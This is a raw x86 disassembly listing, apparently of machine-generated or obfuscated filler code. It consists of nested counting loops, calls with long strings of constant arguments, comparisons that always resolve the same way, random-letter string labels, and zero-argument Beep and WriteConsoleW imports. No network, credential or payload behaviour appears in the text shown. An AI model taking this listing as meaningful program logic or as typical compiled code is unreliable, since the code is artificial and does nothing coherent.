mov dword [ebp - 0x4e8], 1
jmp 0x4ba521
and dword [ebp - 0x4e8], 0
push 1
lea ecx, [ebp - 0xbac]
call fcn.00417bb8
mov ecx, dword [ebp - 0x4e8]
mov dword [eax], ecx
jmp 0x4ba42d
mov byte [ebp - 0x6c], 0
movzx eax, byte [ebp - 0x6c]
test eax, eax
je 0x4ba55d
push 0
push 0x2c0a
push 0x684b
push 1
call fcn.004c12be
add esp, 0x10
jmp 0x4ba3d4
lea ecx, [ebp - 0xbac]
call fcn.00417aef
lea ecx, [ebp - 0x810]
call fcn.00417aef
cmp dword [ebp - 0x4f0], 0x67bf
jge 0x4ba5b1
push 0
push 1
push 1
push 0x182e
lea eax, [ebp - 0x9d8]
push eax
push 0x1384
push 0x5506
push 1
push 1
push 0x2508
call fcn.004a011d
add esp, 0x28
mov dword [ebp - 0x4f8], 0x55e9
mov dword [ebp - 0x9ac], str.eker_uxxvjilhj_pwp_gbuqkrja_ppk_oyccb_ushfkri_sclgoduu_waxoukqgt_rwwl_ulhn_jebx
cmp dword [ebp - 0x4f8], 0x581f
jle 0x4ba677
and dword [ebp - 0x198], 0
jmp 0x4ba5eb
mov eax, dword [ebp - 0x198]
inc eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 0x7f64
jge 0x4ba640
push 0x7b0e
push 0x6fb9
push 1
push 1
push 0x4ef4
push 0x6ff6
push 0
push 0
push 1
push 0x108d
push 0x3358
lea eax, [ebp - 0x198]
push eax
push 0x24f2
push 0x79c7
push 1
push 1
push 1
call fcn.004af30f
add esp, 0x44
jmp 0x4ba5de
push 1
push 1
push 1
push 1
push 0x7e96
push 1
push 0x1042
push 0x5a56
push 0x5762
push 0x1328
push 0x2f70
push 1
push 0x67d5
call fcn.0049e127
add esp, 0x34
mov eax, dword [ebp - 0xc]
movzx eax, byte [ebp + eax - 0xe7]
mov ecx, dword [ebp - 0xc]
sub ecx, dword [ebp - 0x90]
movzx ecx, byte [ebp + ecx - 0xea]
movzx ecx, word [ebp + ecx*2 - 0xbc8]
add eax, ecx
mov ecx, dword [ebp - 0xc]
movzx ecx, byte [ebp + ecx - 0xe7]
mov edx, dword [ebp - 0xc]
sub edx, dword [ebp - 0x90]
movzx edx, byte [ebp + edx - 0xea]
movzx edx, word [ebp + edx*2 - 0xbc8]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0xc]
movzx ecx, byte [ebp + ecx - 0xe7]
mov edx, dword [ebp - 0xc]
sub edx, dword [ebp - 0x90]
movzx edx, byte [ebp + edx - 0xea]
movzx edx, word [ebp + edx*2 - 0xbc8]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0xc]
movzx ecx, byte [ebp + ecx - 0xe8]
mov word [ebp + ecx*2 - 0xbc8], ax
cmp dword [ebp - 0x4f8], 0x52b1
jge 0x4ba751
push 0x309e
lea eax, [ebp - 0x9ac]
push eax
push 1
push 1
push 1
push 0x4e4d
push 0xfb3
push 1
push 0x7317
push 0x32a4
push 0x740c
push 0
push 0x63ca
push 0x3b0c
push 1
push 1
call fcn.004b04df
add esp, 0x40
and dword [ebp - 0x90], 0
jmp 0x4b8d35
mov dword [ebp - 0x500], 0x56d2
mov dword [ebp - 0x93c], str.iymcplxdd_lrdsyw_lumb_qsur
cmp dword [ebp - 0x500], 0x5a04
jle 0x4ba815
and dword [ebp - 0x1a0], 0
jmp 0x4ba797
mov eax, dword [ebp - 0x1a0]
inc eax
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 0x7923
jge 0x4ba815
and dword [ebp - 0x1a8], 0
jmp 0x4ba7b9
mov eax, dword [ebp - 0x1a8]
inc eax
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 0x7d9b
jge 0x4ba810
mov eax, dword [ebp - 0x1a0]
or eax, dword [ebp - 0x1a8]
cdq
mov dword [ebp - 0xac8], eax
mov dword [ebp - 0xac4], edx
lea eax, [ebp - 0xac8]
push eax
push 1
push 0x54a3
push 0x577a
push 1
push 0
push 1
push 0x6784
push 0x573b
push 0x3681
call fcn.004a0884
add esp, 0x28
jmp 0x4ba7ac
jmp 0x4ba78a
cmp dword [ebp - 0x500], 0x5333
jge 0x4ba867
push 0x71ac
push 0x8a7
push 1
push 1
push 1
push 0x198a
push 0x543e
push 0x197c
push 0x413b
push 1
push 1
push 0x4d71
push 0x402a
lea eax, [ebp - 0x93c]
push eax
push 0x3dc4
call fcn.0049ec46
add esp, 0x3c
mov dword [ebp - 0x40], 0xfffffffd
mov dword [ebp - 0x508], 0x1d0b
mov dword [ebp - 0xa14], str.rkn_jllseqpuk_mxibeqnvw_vbjqdwyvc_bmhfafp_hholo_gscs
cmp dword [ebp - 0x508], 0x1ef1
jle 0x4ba9be
push 1
push 0x4883
push 0x7881
push 0
push 1
push 0x6c01
push 0x612e
push 0x7bf9
push 1
push 0x4151
push 1
push 1
push 0x288b
push 1
push 0x4d10
call fcn.004c14d0
add esp, 0x3c
and dword [ebp - 0x1b8], 0
jmp 0x4ba8e6
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 0x12f7
jge 0x4ba9be
and dword [ebp - 0x1b0], 0
jmp 0x4ba90c
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 0x4bc2
jge 0x4ba9b9
and dword [ebp - 0x1c0], 0
jmp 0x4ba932
mov eax, dword [ebp - 0x1c0]
inc eax
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 0x4a88
jge 0x4ba9b4
push 0x65f5
push 0x6ad5
push 0
push 0x1f01
push 0x75e6
push 0x6121
push 0x4d0e
lea eax, [ebp - 0x1b0]
push eax
lea eax, [ebp - 0x1b8]
push eax
push 0x79f2
push 0x1aff
push 0x1582
push 0x62c5
lea eax, [ebp - 0x1c0]
push eax
push 0x7ba2
push 0x291e
push 0x6656
push 0x5016
push 0x545e
push 1
push 0xcd0
call fcn.004c95e0
add esp, 0x54
jmp 0x4ba925
jmp 0x4ba8ff
jmp 0x4ba8d9
push 3
lea ecx, [ebp - 0xba0]
call fcn.004179d7
push 1
push 0x132d
push 0x7ca2
push 0x36d9
push 1
push 0x38f1
push 0
push 0x4661
push 1
lea eax, [ebp - 0xa14]
push eax
lea eax, [ebp - 0x508]
push eax
push 1
push 1
push 1
push 1
push 0x17a5
push 0xcd2
call fcn.004b1229
add esp, 0x44
mov dword [ebp - 0x548], 0xd1b71362
mov dword [ebp - 0x34], 0
jmp 0x4baa2e
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 3
jge 0x4baa4a
push dword [ebp - 0x34]
lea ecx, [ebp - 0xba0]
call fcn.00417bb8
mov dword [eax], 2
jmp 0x4baa27
mov dword [ebp - 0x510], 0x1284
mov dword [ebp - 0x944], str.aevenl_ygcorgcl_dvlckchv_dbvnvua_ksfjlrb_khlxgfctx_asfe_ehyhgwbuj_kohtqk_vuykweo
cmp dword [ebp - 0x510], 0x1453
jle 0x4baae3
and dword [ebp - 0x1c8], 0
jmp 0x4baa80
mov eax, dword [ebp - 0x1c8]
inc eax
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 0x4020
jge 0x4baabe
push 1
push 0x1ad4
push 0x502d
push 0x19e8
push 1
push 0x365b
push 0x1ad2
push 1
push 1
lea eax, [ebp - 0x1c8]
push eax
call fcn.0049fd53
add esp, 0x28
jmp 0x4baa73
push 1
push 1
push 1
push 0x6dd
push 1
push 0x2e32
push 0
push 1
push 1
push 0x659
call fcn.004a64a5
add esp, 0x28
mov dword [ebp - 0x34], 0
jmp 0x4baaf3
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 3
jge 0x4bab09
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0xcc0], 0x943af780
jmp 0x4baaec
cmp dword [ebp - 0x510], 0xea8
jge 0x4bab21
push dword [ebp - 0x944]
call fcn.004f1488
pop ecx
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x40]
je 0x4babc9
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x40], eax
jge 0x4bab41
mov dword [ebp - 0x518], 1
jmp 0x4bab48
and dword [ebp - 0x518], 0
cmp dword [ebp - 0x518], 0x6141e4f1
jl 0x4bab60
mov dword [ebp - 0x520], 1
jmp 0x4bab67
and dword [ebp - 0x520], 0
mov eax, dword [ebp - 0x40]
cmp eax, dword [ebp - 0x520]
jle 0x4bab80
xor eax, eax
inc eax
jne 0x4bab80
and dword [ebp - 0x528], 0
jmp 0x4bab8a
mov dword [ebp - 0x528], 1
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x528], eax
jge 0x4baba1
mov dword [ebp - 0x530], 1
jmp 0x4baba8
and dword [ebp - 0x530], 0
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x530], eax
jle 0x4babbf
mov dword [ebp - 0x538], 1
jmp 0x4babc6
and dword [ebp - 0x538], 0
mov eax, dword [ebp - 0x40]
push 1
lea ecx, [ebp - 0xba0]
call fcn.00417bb8
mov ecx, dword [ebp - 0x40]
cmp dword [eax], ecx
jg 0x4babe9
mov dword [ebp - 0x540], 1
jmp 0x4babf0
and dword [ebp - 0x540], 0
mov eax, dword [ebp - 0x540]
mov dword [ebp - 0x548], eax
cmp dword [ebp - 0x548], 0xde4bf748
jne 0x4bac14
mov dword [ebp - 0x550], 1
jmp 0x4bac1b
and dword [ebp - 0x550], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x550]
mov dword [ebp + eax - 0xcc0], ecx
lea ecx, [ebp - 0xba0]
call fcn.00417aef
mov dword [ebp - 0x558], 0x7223
mov dword [ebp - 0x9b4], str.qsibwms_oqxait_qhjrkach_hqwtfvgon
cmp dword [ebp - 0x558], 0x73ba
jle 0x4bacfa
and dword [ebp - 0x1d0], 0
jmp 0x4bac73
mov eax, dword [ebp - 0x1d0]
inc eax
mov dword [ebp - 0x1d0], eax
cmp dword [ebp - 0x1d0], 0x19de
jge 0x4bacfa
and dword [ebp - 0x1d8], 0
jmp 0x4bac95
mov eax, dword [ebp - 0x1d8]
inc eax
mov dword [ebp - 0x1d8], eax
cmp dword [ebp - 0x1d8], 0xaaf
jge 0x4bacf5
and dword [ebp - 0x1e0], 0
jmp 0x4bacb7
mov eax, dword [ebp - 0x1e0]
inc eax
mov dword [ebp - 0x1e0], eax
cmp dword [ebp - 0x1e0], 0x49dd
jge 0x4bacf3
push 0
push 0x59cc
lea eax, [ebp - 0x1d0]
push eax
push 0x25a3
lea eax, [ebp - 0x1d8]
push eax
push 0x7fe2
lea eax, [ebp - 0x1e0]
push eax
call fcn.004be26b
add esp, 0x1c
jmp 0x4bacaa
jmp 0x4bac88
jmp 0x4bac66
push 2
pop eax
imul eax, eax, 0xc
xor ecx, ecx
mov word [ebp + eax - 0xbc8], cx
push 0x7240
push 1
push 0x56cd
lea eax, [ebp - 0x558]
push eax
push 0x64c0
lea eax, [ebp - 0x9b4]
push eax
push 1
push 0x5f93
push 1
push 0x35c8
push 1
push 0x73af
push 1
push 1
call fcn.004a0c6d
add esp, 0x38
mov dword [ebp - 0x560], 0x1988
mov dword [ebp - 0x94c], str.gdqd_hfpjucpn_jxqy_fdgj_nxcgqb_wklvjp_oyh
cmp dword [ebp - 0x560], 0x1bd3
jle 0x4bada3
push 0x66b
push 0x4bf1
push 0
push 1
push 0
push 1
push 0x4c26
push 0x1f2
push 0x1733
push 0x48aa
push 0
push 1
push 0x47d8
push 1
call fcn.004b3028
add esp, 0x38
cmp dword [ebp - 0x560], 0x183e
jge 0x4badcf
lea eax, [ebp - 0x94c]
push eax
push 0x6f90
push 0x22c0
push 0
push 0x24f1
call fcn.004c0e58
add esp, 0x14
mov dword [ebp - 0x1c], 0xfffffffe
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x568], 0x7f4f
mov dword [ebp - 0x9ec], str.cfoucll_atnnxdtvu_sanvoy_dmphm_jnwnajyrc_lupnthixt_osggut_ewtdvvctf_yxqmfir_lduane_fpxtxb_qukocv_uognnatb
cmp dword [ebp - 0x568], 0x8307
jle 0x4baef9
and dword [ebp - 0x1e8], 0
jmp 0x4bae17
mov eax, dword [ebp - 0x1e8]
inc eax
mov dword [ebp - 0x1e8], eax
cmp dword [ebp - 0x1e8], 0x14f3
jge 0x4baeef
and dword [ebp - 0x1f0], 0
jmp 0x4bae3d
mov eax, dword [ebp - 0x1f0]
inc eax
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 0x1b01
jge 0x4baeea
and dword [ebp - 0x1f8], 0
jmp 0x4bae63
mov eax, dword [ebp - 0x1f8]
inc eax
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 0x875
jge 0x4baee5
and dword [ebp - 0x200], 0
jmp 0x4bae85
mov eax, dword [ebp - 0x200]
inc eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 0x246c
jge 0x4baee0
mov eax, dword [ebp - 0x1e8]
mov ecx, dword [ebp - 0x1f0]
sar eax, cl
mov ecx, dword [ebp - 0x1f8]
shl eax, cl
mov ecx, dword [ebp - 0x200]
sar eax, cl
cdq
mov dword [ebp - 0xb30], eax
mov dword [ebp - 0xb2c], edx
push 0x6fc2
push 0
push 0x100f
push 1
push 0x1e7
lea eax, [ebp - 0xb30]
push eax
call fcn.004bdab3
add esp, 0x18
jmp 0x4bae78
jmp 0x4bae56
jmp 0x4bae30
jmp 0x4bae0a
push 0
push 0
call dword [sym.imp.KERNEL32.dll_Beep]
mov dword [ebp - 0x8c], 1
push 1
push 0
lea eax, [ebp - 0x568]
push eax
lea eax, [ebp - 0x9ec]
push eax
push 0x6cd2
call fcn.004c4db2
add esp, 0x14
mov dword [ebp - 0x9f4], 0
mov dword [ebp - 0x208], 0
jmp 0x4baf45
mov eax, dword [ebp - 0x208]
inc eax
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 3
jge 0x4baf61
mov eax, dword [ebp - 0x208]
mov dword [ebp + eax*4 - 0x47c], 0x25e7
jmp 0x4baf38
mov dword [ebp - 0x1c], 2
jmp 0x4baf71
mov eax, dword [ebp - 0x1c]
dec eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jl 0x4bb809
mov dword [ebp - 0x84], 0x969161d5
mov dword [ebp - 0x570], 0x7c4d
mov dword [ebp - 0x954], str.vqnkjuhb_vhc_skj
cmp dword [ebp - 0x570], 0x7cfc
jle 0x4bb004
and dword [ebp - 0x210], 0
jmp 0x4bafbb
mov eax, dword [ebp - 0x210]
inc eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 0x77b1
jge 0x4bb004
push 0x6d0c
push 0x420c
push 1
push 1
push 0
push 1
push 0x3aed
push 0x65ad
push 0x77ae
lea eax, [ebp - 0x210]
push eax
push 0
push 1
push 0x6549
push 1
call fcn.004b3028
add esp, 0x38
jmp 0x4bafae
mov byte [ebp - 0x72], 0
push 1
push 1
push 0x75e7
lea eax, [ebp - 0x954]
push eax
push 0x5838
push 0x1bb5
push 1
push 0x5cdb
push 1
push 1
push 0
push 0x1d32
lea eax, [ebp - 0x570]
push eax
push 0x47ac
push 0x27f0
push 0x6b02
push 0x5d46
push 0x6caa
call fcn.004a3aab
add esp, 0x48
push 0x201e
push 0x484f
push 1
push 1
push 0x5ec9
push 1
push 1
lea eax, [ebp - 0x72]
push eax
push 0
push 0x79ab
push 0x6ff
push 1
push 1
push 0x4104
push 0x18d9
push 1
push 1
push 0x7846
call fcn.004b20ef
add esp, 0x48
mov eax, dword [ebp - 0x1c]
mov ecx, 0x51ea
sub ecx, dword [ebp + eax*4 - 0x47c]
mov eax, dword [ebp - 0x1c]
cmp ecx, dword [ebp + eax*4 - 0x47c]
jg 0x4bb0c9
mov dword [ebp - 0x580], 1
jmp 0x4bb0d0
and dword [ebp - 0x580], 0
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xc74], eax
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x47c], 0
jne 0x4bb0f8
mov eax, 0xfffe
test eax, eax
jne 0x4bb0f8
and dword [ebp - 0x578], 0
jmp 0x4bb102
mov dword [ebp - 0x578], 1
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x47c]
cmp dword [ebp - 0x578], eax
jge 0x4bb120
mov dword [ebp - 0x588], 1
jmp 0x4bb127
and dword [ebp - 0x588], 0
mov eax, dword [ebp - 0x580]
cmp eax, dword [ebp - 0x588]
jne 0x4bb141
mov dword [ebp - 0x590], 1
jmp 0x4bb148
and dword [ebp - 0x590], 0
mov eax, dword [ebp - 0x590]
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x84], 2
jmp 0x4bb16d
mov eax, dword [ebp - 0x84]
dec eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
jl 0x4bb804
mov dword [ebp - 0x598], 0x6c0
mov dword [ebp - 0x9bc], str.gat_wcwvvlbcg_biwt_joqyaha_ftw_waahobcwk_ego_lxtdneje_sob_xjqpojcyb_ysvo_evo_bvf
cmp dword [ebp - 0x598], 0x9ca
jle 0x4bb275
and dword [ebp - 0x218], 0
jmp 0x4bb1b4
mov eax, dword [ebp - 0x218]
inc eax
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0x5415
jge 0x4bb275
and dword [ebp - 0x228], 0
jmp 0x4bb1da
mov eax, dword [ebp - 0x228]
inc eax
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 0x2474
jge 0x4bb270
and dword [ebp - 0x220], 0
jmp 0x4bb200
mov eax, dword [ebp - 0x220]
inc eax
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 0x2936
jge 0x4bb26b
push 0x3bd6
push 0x16ab
push 1
push 1
push 1
lea eax, [ebp - 0x218]
push eax
push 0x6528
push 0x243f
push 0x40f0
push 1
lea eax, [ebp - 0x220]
push eax
push 1
push 0xbb8
lea eax, [ebp - 0x228]
push eax
push 0x3f36
push 0x568d
push 1
push 1
push 0x5e50
push 0x3c55
call fcn.004a2638
add esp, 0x50
jmp 0x4bb1f3
jmp 0x4bb1cd
jmp 0x4bb1a7
mov dword [ebp - 0x5c0], 4
push 0x23a9
push 1
push 0x58d6
push 0x2b65
lea eax, [ebp - 0x9bc]
push eax
push 1
push 0x4221
push 1
lea eax, [ebp - 0x598]
push eax
push 0x30f3
push 0x6c42
push 1
push 1
call fcn.004a2e93
add esp, 0x34
mov dword [ebp - 0x230], 0
jmp 0x4bb2d6
mov eax, dword [ebp - 0x230]
inc eax
mov dword [ebp - 0x230], eax
cmp dword [ebp - 0x230], 4
jge 0x4bb2f2
mov eax, dword [ebp - 0x230]
mov dword [ebp + eax*4 - 0x7f4], 6
jmp 0x4bb2c9
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x7f4], 2
jmp 0x4bb320
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7f4]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x7f4], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x7f4], 0
jl 0x4bb7ff
mov dword [ebp - 0xa0], 4
mov dword [ebp - 0xa10], 0x59f89f2e
mov dword [ebp - 0x260], 0
mov dword [ebp - 0xa0], 2
jmp 0x4bb36b
mov eax, dword [ebp - 0xa0]
dec eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 0
jl 0x4bb7fa
mov dword [ebp - 0xa8], 9
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x47c], 0
je 0x4bb7ad
mov dword [ebp - 0x480], 0xdd86
mov dword [ebp - 0x5c8], 0xffffffff
mov dword [ebp - 0x5a0], 0x6c85
mov dword [ebp - 0x95c], str.kbr_fxljkb_ulc_eaguorwwy
cmp dword [ebp - 0x5a0], 0x6f3d
jle 0x4bb4e9
and dword [ebp - 0x248], 0
jmp 0x4bb3e3
mov eax, dword [ebp - 0x248]
inc eax
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 0x48bf
jge 0x4bb4d9
and dword [ebp - 0x238], 0
jmp 0x4bb409
mov eax, dword [ebp - 0x238]
inc eax
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 0x26fc
jge 0x4bb4d4
and dword [ebp - 0x240], 0
jmp 0x4bb42f
mov eax, dword [ebp - 0x240]
inc eax
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 0xafc
jge 0x4bb4cf
mov eax, dword [ebp - 0x238]
cdq
idiv dword [ebp - 0x240]
mov eax, dword [ebp - 0x248]
sub eax, edx
cdq
mov dword [ebp - 0xad8], eax
mov dword [ebp - 0xad4], edx
push 0x7009
push 1
push 0x7e63
push 0x1fd9
push 0x351e
push 0x3915
push 0x39a9
push 0x58df
push 0x3b7e
push 0x3296
push 0x6881
push 0x89d
push 1
push 0x4b9a
push 0x59ea
push 0x42db
push 0x5f61
push 1
push 1
lea eax, [ebp - 0xad8]
push eax
push 0
push 0x339b
call fcn.004a4dad
add esp, 0x58
jmp 0x4bb422
jmp 0x4bb3fc
jmp 0x4bb3d6
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
mov dword [ebp - 0x964], 0xcc702b5b
cmp dword [ebp - 0x5a0], 0x68f5
jge 0x4bb50b
push dword [ebp - 0x95c]
call fcn.004f1488
pop ecx
mov dword [ebp - 0x610], 0x4117
mov dword [ebp - 0x9c4], str.cuj_tbt_fosaq_pnvk_kigrnvjvi_vcxftxqvn_bhaemwkap_ktry_getsvsby_jxdx_qwch_wcwqjqxb_gfcbotv_wvrhy
cmp dword [ebp - 0x610], 0x4481
jle 0x4bb5a2
and dword [ebp - 0x250], 0
jmp 0x4bb541
mov eax, dword [ebp - 0x250]
inc eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 0x6e10
jge 0x4bb5a2
and dword [ebp - 0x258], 0
jmp 0x4bb563
mov eax, dword [ebp - 0x258]
inc eax
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 0x9a0
jge 0x4bb5a0
mov eax, dword [ebp - 0x250]
or eax, dword [ebp - 0x258]
cdq
mov dword [ebp - 0x928], eax
mov dword [ebp - 0x924], edx
push dword [ebp - 0x924]
push dword [ebp - 0x928]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4bb556
jmp 0x4bb534
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x7f4]
mov dword [ebp - 0xc24], eax
mov eax, dword [ebp - 0x480]
sub eax, 0x73e
mov dword [ebp - 0x260], eax
mov eax, dword [ebp - 0x260]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0x8a0c0902
ja 0x4bb5e4
mov dword [ebp - 0x5a8], 1
jmp 0x4bb5eb
and dword [ebp - 0x5a8], 0
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x5a8]
cmp dword [ebp - 0xa10], eax
jl 0x4bb60b
mov dword [ebp - 0x5b0], 1
jmp 0x4bb612
and dword [ebp - 0x5b0], 0
mov eax, dword [ebp - 0x480]
cmp dword [ebp - 0x5b0], eax
je 0x4bb62c
mov dword [ebp - 0x5b8], 1
jmp 0x4bb633
and dword [ebp - 0x5b8], 0
mov eax, dword [ebp - 0xa8]
add eax, dword [ebp - 0x5b8]
mov dword [ebp - 0x5c0], eax
mov eax, dword [ebp - 0x5c0]
mov dword [ebp - 0x5c8], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7f4]
cmp dword [ebp - 0x5c8], eax
jg 0x4bb672
mov dword [ebp - 0x5d0], 1
jmp 0x4bb679
and dword [ebp - 0x5d0], 0
mov eax, dword [ebp - 0xa0]
add eax, dword [ebp - 0x5d0]
push 4
pop ecx
imul ecx, ecx, 3
cmp eax, dword [ebp + ecx - 0x7f4]
jge 0x4bb69b
cmp dword [ebp - 0x260], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x47c]
cmp dword [ebp - 0x8c], eax
je 0x4bb6bb
mov dword [ebp - 0x5d8], 1
jmp 0x4bb6c2
and dword [ebp - 0x5d8], 0
mov eax, dword [ebp - 0x84]
cmp dword [ebp - 0x5d8], eax
jle 0x4bb6dc
mov dword [ebp - 0x5e0], 1
jmp 0x4bb6e3
and dword [ebp - 0x5e0], 0
cmp dword [ebp - 0x5e0], 6
ja 0x4bb6f8
mov dword [ebp - 0x5e8], 1
jmp 0x4bb6ff
and dword [ebp - 0x5e8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7f4]
cmp eax, dword [ebp - 0x5e8]
jg 0x4bb720
mov dword [ebp - 0x5f0], 1
jmp 0x4bb727
and dword [ebp - 0x5f0], 0
cmp dword [ebp - 0x5f0], 0xfffffff8
jae 0x4bb73c
mov dword [ebp - 0x5f8], 1
jmp 0x4bb743
and dword [ebp - 0x5f8], 0
mov eax, dword [ebp - 0x480]
cmp dword [ebp - 0x5f8], eax
je 0x4bb75d
mov dword [ebp - 0x600], 1
jmp 0x4bb764
and dword [ebp - 0x600], 0
cmp dword [ebp - 0x600], 0x9f81
je 0x4bb77c
mov dword [ebp - 0x608], 1
jmp 0x4bb783
and dword [ebp - 0x608], 0
mov eax, dword [ebp - 0x608]
mov dword [ebp - 0x964], eax
cmp dword [ebp - 0x610], 0x3e49
jge 0x4bb7ab
mov edx, dword [ebp - 0x9c4]
mov ecx, 0xac7538
call fcn.0041c2dd
jmp 0x4bb7f5
cmp dword [ebp - 0x260], 0
je 0x4bb7b8
jmp 0x4bb7fa
mov dword [ebp - 0xa8], 0
jmp 0x4bb7d1
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 2
jg 0x4bb7f5
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7f4]
cmp dword [ebp + eax*4 - 0x47c], 0
je 0x4bb7f3
jmp 0x4bb7f5
jmp 0x4bb7c4
jmp 0x4bb35e
jmp 0x4bb305
jmp 0x4bb160
jmp 0x4baf6a
cmp dword [ebp - 0x2c], 0
je 0x4bb821
cmp dword [ebp - 0x2c], 0
je 0x4bb821
mov dword [ebp - 0x618], 1
jmp 0x4bb828
and dword [ebp - 0x618], 0
mov eax, dword [ebp - 0x8c]
cmp dword [ebp - 0x618], eax
jl 0x4bb843
xor eax, eax
jne 0x4bb843
and dword [ebp - 0x620], 0
jmp 0x4bb84d
mov dword [ebp - 0x620], 1
cmp dword [ebp - 0x620], 0xd727
jne 0x4bb865
mov dword [ebp - 0x628], 1
jmp 0x4bb86c
and dword [ebp - 0x628], 0
cmp dword [ebp - 0x628], 0
je 0x4bb88a
mov eax, 0xf910
test eax, eax
je 0x4bb88a
mov dword [ebp - 0x96c], 1
jmp 0x4bb891
and dword [ebp - 0x96c], 0
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xc70], eax
imul eax, dword [ebp - 0x1c], 0xffffffff
cmp eax, dword [ebp - 0x2c]
je 0x4bb8af
mov dword [ebp - 0x630], 1
jmp 0x4bb8b6
and dword [ebp - 0x630], 0
mov eax, dword [ebp - 0x630]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 1
jg 0x4bb8d1
mov dword [ebp - 0x638], 1
jmp 0x4bb8d8
and dword [ebp - 0x638], 0
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x638]
push 4
pop ecx
shl ecx, 0
sub eax, dword [ebp + ecx - 0x47c]
push 4
pop ecx
shl ecx, 1
cmp eax, dword [ebp + ecx - 0x47c]
jle 0x4bb90b
mov dword [ebp - 0x640], 1
jmp 0x4bb912
and dword [ebp - 0x640], 0
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x640], eax
jl 0x4bb924
cmp dword [ebp - 0x9f4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x47c]
add eax, 0x38b4fd08
cmp eax, dword [ebp - 0x2c]
jge 0x4bb947
mov dword [ebp - 0x648], 1
jmp 0x4bb94e
and dword [ebp - 0x648], 0
mov eax, dword [ebp - 0x648]
sub eax, 0x546b
cmp eax, 1
jle 0x4bb96a
mov dword [ebp - 0x650], 1
jmp 0x4bb971
and dword [ebp - 0x650], 0
mov eax, dword [ebp - 0x8c]
cmp eax, dword [ebp - 0x650]
jne 0x4bb98b
mov dword [ebp - 0x658], 1
jmp 0x4bb992
and dword [ebp - 0x658], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x47c]
mov ecx, dword [ebp - 0x658]
dec ecx
add eax, ecx
cmp eax, dword [ebp - 0x2c]
jl 0x4bb9b9
mov dword [ebp - 0x660], 1
jmp 0x4bb9c0
and dword [ebp - 0x660], 0
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x660]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x668], 0x1c96
mov dword [ebp - 0x974], str.rsiwdvonp_yqusx_frwjhedw_yflrcsq_ueedd_bion
cmp dword [ebp - 0x668], 0x1de5
jle 0x4bbae3
push 1
push 0x1121
push 1
push 1
push 1
push 0x591
push 0x4f71
push 1
push 0
push 0x1da0
push 1
push 0x4a35
push 1
push 0x1c6e
push 0x180b
push 0x3b5e
push 0x2418
push 1
call fcn.004c74b4
add esp, 0x48
and dword [ebp - 0x270], 0
jmp 0x4bba50
mov eax, dword [ebp - 0x270]
